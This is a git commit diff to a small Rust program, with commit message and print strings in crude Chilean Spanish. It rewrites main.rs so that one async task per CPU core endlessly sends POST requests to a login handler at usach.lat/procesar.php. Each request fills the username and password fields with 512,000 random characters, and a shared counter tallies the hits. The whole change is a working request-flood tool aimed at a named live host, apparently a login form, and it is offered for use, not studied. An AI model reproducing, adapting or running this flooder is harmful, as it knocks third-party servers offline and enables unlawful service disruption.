main: hacerlo multithreaded pero bien
This commit is contained in:
parent
c7c6b70f05
commit
b177b00b7a
|
@ -6,7 +6,7 @@ edition = "2021"
|
|||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
rand = "0.8.4"
|
||||
num_cpus = "1.16"
|
||||
rand = "0.8.4"
|
||||
reqwest = "0.12.8"
|
||||
tokio = { version = "1", features = ["full"] }
|
||||
|
|
58
src/main.rs
58
src/main.rs
|
@ -1,41 +1,53 @@
|
|||
use std::collections::HashMap;
|
||||
|
||||
use rand::{distributions::Alphanumeric, Rng};
|
||||
use reqwest::Client;
|
||||
use tokio::runtime;
|
||||
use std::{collections::HashMap, io, io::Write, sync::Arc};
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
let request = Client::new().post("https://usach.lat/procesar.php");
|
||||
let threads = num_cpus::get();
|
||||
let count: Arc<Mutex<u64>> = Arc::new(Mutex::new(0));
|
||||
println!("pasa la raja usachin 😈");
|
||||
|
||||
for _ in 0..threads {
|
||||
let inner = request.try_clone().unwrap();
|
||||
let memory = Arc::clone(&count);
|
||||
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
let garbage: String = rand::thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(512000)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
println!("{} bytes pal qliao, a prepararse :3", garbage.len());
|
||||
let mut params = HashMap::new();
|
||||
params.insert("username", garbage.clone());
|
||||
params.insert("password", garbage.clone());
|
||||
let request = Client::new()
|
||||
.post("https://usach.lat/procesar.php")
|
||||
.form(¶ms);
|
||||
|
||||
let threads = num_cpus::get();
|
||||
let rt = runtime::Builder::new_multi_thread()
|
||||
.enable_io()
|
||||
.enable_time()
|
||||
.worker_threads(threads)
|
||||
.build()
|
||||
.expect("FUCK!!!!");
|
||||
|
||||
println!("pasa la raja usachin 😈");
|
||||
|
||||
loop {
|
||||
let inner = request.try_clone().unwrap();
|
||||
rt.spawn(async move {
|
||||
let response = inner.send().await.unwrap();
|
||||
println!("plap! {}", response.status());
|
||||
})
|
||||
inner
|
||||
.try_clone()
|
||||
.unwrap()
|
||||
.form(¶ms)
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let mut lock = memory.lock().await;
|
||||
*lock += 1;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
let outer = Arc::clone(&count);
|
||||
let mut last = 0;
|
||||
loop {
|
||||
let lock = outer.lock().await;
|
||||
let count = *lock;
|
||||
if count != last {
|
||||
print!("\rplap! te lo culeaste {count} veces");
|
||||
io::stdout().flush().unwrap();
|
||||
last += 1
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue